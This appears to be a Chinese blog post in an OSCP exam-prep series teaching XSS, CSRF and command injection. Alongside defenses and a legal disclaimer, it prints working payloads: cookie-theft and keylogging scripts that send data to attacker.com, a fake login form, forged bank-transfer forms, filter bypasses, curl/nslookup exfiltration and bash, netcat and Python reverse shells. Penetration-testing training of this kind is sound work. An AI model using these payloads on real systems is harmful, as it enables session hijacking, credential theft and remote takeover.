OSCP百日备考14|Web漏洞利用入门:XSS、CSRF、命令注入,从弹框到拿Shell的完整路径
泷羽Sec-陌离
2026年10月12日 18:32
宁夏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
别再说XSS只会弹框了——这三个漏洞,是Web打点的入门三件套
大家好,这里是[泷羽Sec——陌离]。
前十三期我们干的全是\"准备工作\"——Linux基础、Windows基础、网络原理、核心工具、信息收集、漏洞扫描。这些是地基,地基不牢,后面全是空谈。
最近后台被问得最多的一句话是:\\\"学长,扫完端口、拿到服务版本之后呢?我盯着一个Web服务,不知道从哪下嘴。\"\\
这期就来解决这个\"断层\"。端口扫出来、目录跑出来,下一步就是找Web漏洞打点。而Web层面最容易上手、OSCP里也最常出现的就是三兄弟:XSS(跨站脚本)、CSRF(跨站请求伪造)、命令注入(Command Injection)。
我备考早期对XSS的认知,停在<script>alert(1)</script>——弹个框而已,能有什么杀伤力?后来在一台靶机上,登录后台后用存储型XSS钓到了管理员的Cookie,直接拿下最高权限,我才明白一个道理:弹框只是证明漏洞\"存在\",窃取会话、劫持操作才是\"利用\"。 这个认知差,是很多人卡在Web打点上的真正原因。
这期不玩虚的,三件事讲透:每个漏洞的原理(说人话)→ 手工怎么测、怎么打(可直接抄的payload)→ 从漏洞到拿Shell的完整链路。看完你至少能对着一个Web服务,知道第一步该测什么。
一、先划生死线:考试能用什么?
| 工具/技术 | 考试 | 实战 | 说明 |
|---|---|---|---|
| 浏览器 + DevTools | ✅ | ✅✅✅ | XSS/CSRF 调试标配 |
| Burp Suite 社区版 | ✅ | ✅✅✅ | 手工抓包改包,考试主力 |
| 手工构造 XSS/CSRF/注入 Payload | ✅ | ✅✅✅ | 三个漏洞全靠手测 |
| GoBuster / dirb | ✅ | ✅✅✅ | 单目标目录爆破,允许 |
| Nikto | ✅ | ✅✅ | 单目标 Web 扫描,允许 |
| BeEF(浏览器利用框架) | ⚠️不建议 | ✅✅ | 属自动化利用框架,考试不推荐 |
| SQLMap | ❌ | ✅✅✅ | 自动化注入,考试禁用 |
| Burp Suite Pro(商业版) | ❌ | ✅✅✅ | 商业工具,考试禁用 |
| Nessus / OpenVAS | ❌ | ✅✅✅ | 批量漏洞扫描器,禁用 |
| Metasploit | ⚠️限1台 | ✅✅✅ | 老规矩,仅限一台目标 |
⚠️ 划重点:XSS、CSRF、命令注入这三样,考试里全是手工活——靠浏览器、Burp 社区版和你自己写的 payload,不依赖任何自动化框架。所以它们的\"考试可用性\"是最高的,属于必须练熟的基础分。
关于 BeEF:它是个专门做浏览器端利用的框架,配合XSS能做更高级的操作(比如挂键盘记录、弹钓鱼框)。但它属于\"自动化利用框架\"这一类,OffSec 明确禁止 browser_autopwn 之类的自动浏览器利用工具——备考时可以在自己靶场里学原理,考试时老老实实手写 JavaScript payload,别想着上框架。
二、说人话:三个漏洞到底在攻什么?
先给你一个统一的心智模型,三个漏洞其实分别在攻\"三样东西\":
XSS → 攻「用户的浏览器」 (把代码塞进别人浏览器里执行)
CSRF → 攻「用户的身份」 (借用户的登录态,冒充他发请求)
命令注入 → 攻「服务器本身」 (把系统命令塞进去,服务器替你执行)
- XSS 打的是人:你控制的是\"访问页面的那个用户\"的浏览器。
- \\CSRF 打的是\"信任\"\\:你骗服务器——让它以为请求是该用户本人发的。
- 命令注入打的是机器:你直接越过应用逻辑,让操作系统执行你的命令。
记住这条分界线:XSS和CSRF是\"从客户端侧下手\",命令注入是\"从服务端侧下手\"。三个漏洞的利用终点也完全不同——XSS偷凭据、CSRF借身份、命令注入直接拿Shell。
三、XSS:你以为只是弹个框,其实能偷走一切
3.1 原理:代码在\"别人的浏览器\"里跑
XSS说穿了就一句话:攻击者把恶意的JavaScript注入到网页里,当其他用户访问这个页面时,这段代码就在他们的浏览器里执行了。
关键点在于执行位置——代码不是在攻击者的电脑上跑,而是在受害者的浏览器里跑。这意味着,这段代码能拿到受害者在该网站上的所有权限:读Cookie、劫持会话、篡改页面、记录键盘、甚至以他的身份发起操作。
举个最经典的例子。一个论坛允许多人发评论,且不对内容做过滤。攻击者在评论里塞了这么一段:
这篇文章写得真好!<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
之后每一个打开这个帖子的人,浏览器都会执行这段脚本,把自己的Cookie悄悄发到攻击者服务器。攻击者拿到Cookie,就能冒充这些人登录论坛。
这就是存储型XSS——恶意脚本被永久存在服务器上,一次注入,人人中招。
3.2 三种XSS类型,一张表看懂
XSS按\"脚本从哪来、到哪去\"分三种,OSCP里都可能遇到:
| 类型 | 脚本藏身之处 | 触发方式 | 典型场景 | 危害 |
|---|---|---|---|---|
| 反射型 | URL 参数里 | 受害者点恶意链接 | 搜索框回显、错误页回显 | 中 |
| 存储型 | 服务器数据库 | 任何人访问被污染页面 | 评论区、用户资料、留言板 | 高 |
| DOM 型 | 全程在浏览器端 | JS 把不可信输入写进 DOM | location.hash 被写进 innerHTML |
中 |
- 反射型:脚本作为请求的一部分发给服务器,服务器\"反射\"回来显示在页面上。比如搜索
<script>alert(1)</script>,结果页直接把这段代码原样回显、执行。需要诱导受害者点链接,所以常配合钓鱼。 - 存储型:脚本存进数据库,谁看谁中。三种里危害最大,因为无需诱导,静默生效。
- DOM 型:脚本从不经过服务器,全在浏览器里完成。网站JS从URL的
#后面(location.hash)读数据,不经过滤写进页面,就触发了。特点是服务器日志里看不到payload,测试时要盯着前端JS代码。
3.3 测XSS:先把这几个向量扔进去
遇到任何输入框、搜索框、URL参数,先来一遍基础测试向量:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
弹出alert框,说明XSS存在。但现实里<script>经常被过滤,所以在\"确认有过滤\"之后,进入下面的绕过环节。
3.4 绕过过滤器的常用手法
| 手法 | 思路 | 示例 |
|---|---|---|
| 大小写混写 | 过滤器只匹配小写 | <ScRiPt>alert(1)</ScRiPt> |
| 双写绕过 | 过滤器把关键词替换为空 | <scr<script>ipt>alert(1)</scr</script>ipt> |
| 换标签 | 不用 script,用事件属性 | <img src=x onerror=alert(1)> |
| 伪协议 | 用 javascript: 协议 | 点我 |
| 编码绕过 | HTML实体/URL/Unicode编码 | < 写成 < 或 %3C |
| 反引号 | 绕过引号过滤 | <img src=x onerror=alert(\\ XSS)> |
<!-- 常用的\"非 script 标签\"向量,遇到只过滤 script 的场景特别好用 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<iframe src=\"javascript:alert(1)\">
⚠️ 校准提醒:现代浏览器的CSP(内容安全策略)和内联脚本限制会让很多老向量失效。实战里遇到打不通,先看响应头有没有Content-Security-Policy——如果有,你需要的不是\"更强的payload\",而是找绕过CSP的路径(比如可利用的JSONP端点、白名单域名上的脚本上传点)。考试环境通常CSP很松,基础向量够用;实战遇到严CSP别硬刚。
3.5 XSS的真正杀伤力:从弹框到完全控制
弹框说明不了危害。真正的利用场景是这些:
① 窃取Cookie(最经典):拿到会话Cookie就能冒充登录。\\前提是Cookie没设HttpOnly\\。
fetch('http://attacker.com/steal?c='+document.cookie)
// 或用图片外带,兼容性更好:
new Image().src='http://attacker.com/steal?c='+encodeURIComponent(document.cookie);
② 键盘记录:在登录页注入键盘记录,偷账号密码。
document.onkeypress = e => fetch('http://attacker.com/log?k='+e.key);
③ 钓鱼(篡改页面):用JS改掉页面内容,弹一个假登录框,把密码发到自己服务器。
document.body.innerHTML = '<form action=\"//attacker.com/fake\"><input name=u>密码<input type=password name=p><input type=submit></form>';
④ XSS + CSRF 组合(最致命):脚本运行在目标域下,能直接读到页面上的CSRF Token,然后自动发起一个\"带正确Token\"的请求——传统CSRF防护在XSS面前形同虚设。这条后面第四章细讲。
3.6 XSS防御(报告里写修复建议用)
| 防御措施 | 说明 |
|---|---|
| 输入验证 | 白名单校验,只允许安全字符/格式 |
| 输出编码 | 按上下文编码:HTML用实体、JS用\\x、URL用% |
| CSP | 用响应头限制脚本来源,禁止内联脚本 |
| HttpOnly Cookie | 会话Cookie加HttpOnly,禁止JS读取(防偷Cookie最有效的一招) |
| 安全框架 | React/Vue等默认转义输出,但不能全依赖 |
| 定期审计 | 自动化+手工结合,持续扫描 |
四、CSRF:你不小心点了个链接,钱就转走了
4.1 原理:借用你的\"已登录身份\"
CSRF(Cross-Site Request Forgery,跨站请求伪造)原理极其简单:
你登录了银行网站A,Cookie还在浏览器里。这时你点开了攻击者发来的链接,打开了恶意网站B。网站B里藏着一个自动提交的表单,向银行A发起了一个转账请求。因为浏览器自动带上了A的Cookie,银行以为是你本人操作,转账就成功了。
整个流程四步:
① 你登录目标网站(如银行),浏览器存下登录 Cookie
② 你没登出,又打开了恶意网站 B
③ B 里有个自动提交的表单,目标指向银行转账接口
④ 浏览器自动带上银行 Cookie,银行以为是你 → 照办
注意CSRF和XSS的根本区别:
- XSS 是\"我能执行代码\"——我需要注入脚本。
- CSRF 是\"我能借你的身份发请求\"——我不需要执行任何代码,只需要你点一下(甚至访问一下)。
所以CSRF的门槛更低,但威力取决于那个接口能干什么——转账、改密码、加管理员,接口越敏感,危害越大。
4.2 CSRF攻击示例
① 最简单的表单自动提交(POST):
<html>
<body onload=\"document.forms[0].submit()\">
<form action=\"https://bank.example.com/transfer\" method=\"POST\">
<input type=\"hidden\" name=\"to\" value=\"attacker\">
<input type=\"hidden\" name=\"amount\" value=\"10000\">
</form>
</body>
</html>
② 用图片标签发起GET请求(最隐蔽,无需JS):
<img src=\"https://bank.example.com/transfer?to=attacker&amount=10000\" width=0 height=0>
③ 用 XMLHttpRequest 发POST:
var xhr = new XMLHttpRequest();
xhr.open('POST','https://bank.example.com/transfer',true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send('to=attacker&amount=10000');
4.3 CSRF防御
| 防御措施 | 说明 |
|---|---|
| CSRF Token | 最经典:表单嵌入与会话绑定的随机token,服务端校验 |
| SameSite Cookie | 浏览器级防御,限制跨站请求是否带Cookie |
| Origin/Referer 校验 | 服务端验证请求来源 |
| 自定义请求头 | 敏感操作要求带自定义头(跨域默认设不了) |
| 验证码/重认证 | 敏感操作二次验证 |
SameSite 三种取值(务必分清):
SameSite=Strict:任何跨站请求都不带Cookie(最严)SameSite=Lax:允许顶级导航带Cookie,但禁止跨站POST(现代浏览器默认值)SameSite=None:不限制,必须配合Secure使用
⚠️ 校准提醒:现代浏览器默认Lax,让老式CSRF变难了。但OSCP靶场里的老环境不一定默认开启,而且Lax只挡跨站POST,跨站GET导航仍然带Cookie——所以\"用GET发起的敏感操作\"依然可打。测CSRF先看:① 请求有没有token?② Cookie有没有SameSite?两个都没有,CSRF基本就成了。
五、命令注入:一个分号,服务器乖乖听你的
5.1 原理:把系统命令\"拼\"进你的输入
命令注入是三个里最\"黑客电影\"的一个。原理一句话:应用在调用系统命令时,把用户输入拼进了命令字符串且没过滤。攻击者利用命令分隔符,在正常命令后面追加自己的命令。
例子——一个网站的\"Ping测试\"功能:
system(\"ping \" . $_GET['ip']);
你输入8.8.8.8; id,后端实际执行的就是ping 8.8.8.8; id——先ping,再执行id。关键就在那个分隔符。
Linux 常见命令分隔符一览:
; # 顺序执行(最常用)
| # 管道,把前一个命令输出给后一个
&& # 前一个成功才执行后一个
|| # 前一个失败才执行后一个
`id` # 反引号,命令替换
$(id) # 命令替换(更现代)
Windows 常见分隔符:&、&&、|、||。
5.2 怎么测:先测回显,再测无回显
① 基础测试(有回显):
正常: http://example.com/ping.php?ip=8.8.8.8
注入: http://example.com/ping.php?ip=8.8.8.8;id
http://example.com/ping.php?ip=8.8.8.8|id
http://example.com/ping.php?ip=8.8.8.8&&id
http://example.com/ping.php?ip=8.8.8.8||id
http://example.com/ping.php?ip=8.8.8.8`id`
http://example.com/ping.php?ip=8.8.8.8$(id)
② 绕过过滤器:
# 用引号绕过空格过滤
'`id`'
# URL 编码(%3B 就是分号)
%3Bid
# 嵌套命令
$(echo $(echo $(echo $(id))))
# 通配符绕过(等同于 /bin/cat /etc/passwd)
/???/??t /???/p??s??
③ 无回显时的时间盲注与带外(OOB):
# 时间盲注:故意延时,通过响应时间判断命令被执行
ping -c 10 127.0.0.1
# 带外通道:把命令结果外带到你的服务器
curl http://attacker.com/$(id | base64)
# 或用 DNS 外带(目标出不了HTTP但能出DNS时)
nslookup $(whoami).attacker.com
⚠️ 校准提醒:无回显是实战里的常态,很多命令注入是\"盲\"的。除了延时和带外,别忘了把结果写进Web可访问目录(如id > /var/www/html/o.txt)然后直接访问——这招在考试里又快又稳。
5.3 命令注入的利用:从一条命令到Shell
① 信息收集(拿到执行权后的第一件事):
id # 当前用户与权限
uname -a # 内核版本(提权要用)
cat /etc/passwd # 用户列表
ifconfig # 网络配置(找内网段)
hostname # 主机名
② 建立反向Shell(Linux,三种常用):
# Bash 原生反弹
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
# Netcat 没有 -e 时的管道方案
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
# Python 反弹(环境有 Python 时最稳)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"attacker.com\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])'
③ 提权侦察(拿到低权Shell之后):
find / -perm -u=s -type f 2>/dev/null # 找 SUID 文件
cat /etc/crontab # 看定时任务
sudo -l # 看 sudo 权限
find / -name \"*.conf\" -o -name \"*.ini\" 2>/dev/null | xargs grep -i \"password\" # 配置文件翻密码
5.4 命令注入防御
| 防御措施 | 说明 |
|---|---|
| 输入验证 | 白名单校验(如IP就严格校验IP格式) |
| 安全API | PHP用escapeshellarg();Python用subprocess.run([...])列表传参 |
| 最小权限 | Web服务用最低权限账户运行 |
| 禁用危险函数 | PHP的disable_functions禁用system/exec/shell_exec |
// 反面:直接拼接(危险)
system(\"ping \" . $_GET['ip']);
// 正面:转义参数
system(\"ping \" . escapeshellarg($ip));
# 反面
os.system(\"ping \" + ip)
# 正面:列表传参,不经过 shell
subprocess.run([\"ping\", ip], check=True)
六、完整攻击链:从Web打点到拿Shell
这三个漏洞在实战里不是孤立的,把它们串起来,就是一条完整的Web打点链:
[侦察] 目录爆破(gobuster/dirb)→ 发现 Web 功能点(搜索/上传/评论/工具页)
│
├─[路线A:XSS] 输入框回显未过滤
│ ├─ 反射/存储/DOM 判断类型
│ ├─ 基础向量 → 绕过过滤 → 弹框确认
│ ├─ Cookie 无 HttpOnly → 窃取会话 Cookie
│ ├─ Cookie 有 HttpOnly → 改走钓鱼/键盘记录/以受害者身份发请求
│ └─ 钓到管理员 Cookie → 冒充管理员登录后台 → 找后台功能提权
│
├─[路线B:CSRF] 敏感接口无 Token + Cookie 无 SameSite
│ ├─ 构造自动提交表单/图片标签
│ └─ 诱导管理员访问 → 借用其身份执行敏感操作(改密码/加管理员)
│ (若同时有XSS,直接读Token绕过CSRF防护)
│
└─[路线C:命令注入] 工具型功能(ping/DNS查询/文件处理)
├─ 测分隔符 ; | && || ` $() → 有回显
├─ 无回显 → 时间盲注 / 带外 / 写入Web目录
├─ 信息收集(id/uname -a/ifconfig)
├─ 反弹 Shell 建立会话 🎯
└─ 提权侦察(SUID/cron/sudo/配置密码)→ root
典型考试场景还原: 扫到一台Web服务 → gobuster 跑出 /ping.php → 输入 127.0.0.1;id 回显了命令结果 → 确认命令注入 → bash -c 反弹拿到 shell → uname -a + sudo -l 找提权 → 拿 root,读 proof.txt。这是最稳的一条链,命令注入几乎是OSCP的\"送分题\"。
七、避坑指南 🚨
- 弹框只是\"证明漏洞存在\",不是利用终点——报告里要写清楚XSS的实际危害(窃取会话、劫持操作、组合CSRF),只写\"能弹框\"是拿不到印象分的。
- XSS单独出现概率不高,但它和CSRF是黄金组合——找到XSS后,第一时间想:能不能用它读CSRF Token、劫持会话、或直接以受害者身份发请求。
- HttpOnly 会让偷Cookie失效——测试时先看Cookie有没有
HttpOnly标志。有的话,别在偷Cookie上死磕,改走钓鱼、键盘记录、或直接以受害者身份发请求。 - 测CSRF先看三件事:① 请求里有没有token参数?② 删掉token或改成随机值,服务器还认吗?③ Cookie有没有
SameSite?三个都\"没防护\",才谈得上能打。 SameSite=Lax挡不住跨站GET——很多新手以为浏览器默认Lax后CSRF就没了。但Lax只限制跨站POST,跨站GET导航依然带Cookie,所以用GET发起的敏感操作照样可打。- 命令注入:任何\"让你输入IP/文件名/路径\"的地方都值得测——这是OSCP高频考点,一个分号的事。测的时候
;、|、&&、`、$()挨个来一遍。 - 命令注入无回显别放弃——延时盲注(
ping -c 10)、带外外带(curl/nslookup)、或直接写进Web目录(id > /var/www/html/o.txt)三招轮着上。 - 拿到shell立刻截图——命令注入拿到的shell窗口、
id和ifconfig的输出、/etc/passwd的内容,全部截图。考试报告的证据链就靠这些,别等最后补。
八、免责声明 ⚠️
[请务必读完]
本文所述所有渗透测试技术、工具和方法,仅供安全从业者在已获合法书面授权的环境中进行学习研究和能力认证备考使用。
未经目标所有者明确授权,对任何系统、网络、应用进行渗透测试、漏洞扫描或任何形式的攻击尝试,均可能构成违法犯罪行为。
请严格遵守《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》及相关法律法规。任何利用本文内容实施的非法行为,与本文作者无关。
本文涉及的认证信息仅基于公开可查资料整理,不代表 Offensive Security 官方立场。考试规则、工具限制等详情请以 OffSec 官网最新公告为准。
网络不是法外之地。技术是工具,守住法律底线比学会任何漏洞都重要。
九、下期预告 🔜
第15期:缓冲区溢出基础——从「看不懂」到「敲出Shell」,栈溢出的完整套路!
模糊测试找崩溃点 → 定位EIP偏移 → 控制EIP → 找坏字符 → 生成Shellcode → 构造Exploit,每一步都有现成工具和方法,零基础也能跟下来。
有个变化要提前说清楚:OSCP+ 改版后,独立的缓冲区溢出靶机已经在 2023 年 3 月移除了,考试不再有专门的栈溢出台。但 PEN-200 课程仍保留这个模块,栈溢出、控制EIP、Shellcode 生成这些底层知识,是理解整个漏洞利用原理的基石——把它搞懂,你看其他漏洞的脑子会完全不一样。这会是备考系列里最硬核的一期。
关注不迷路 👇 评论区聊聊:你第一次打Web点,是从哪个漏洞开的口?
OSCP/OSEP一对一私教直通车:协议保障,直通高级渗透测试专家
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论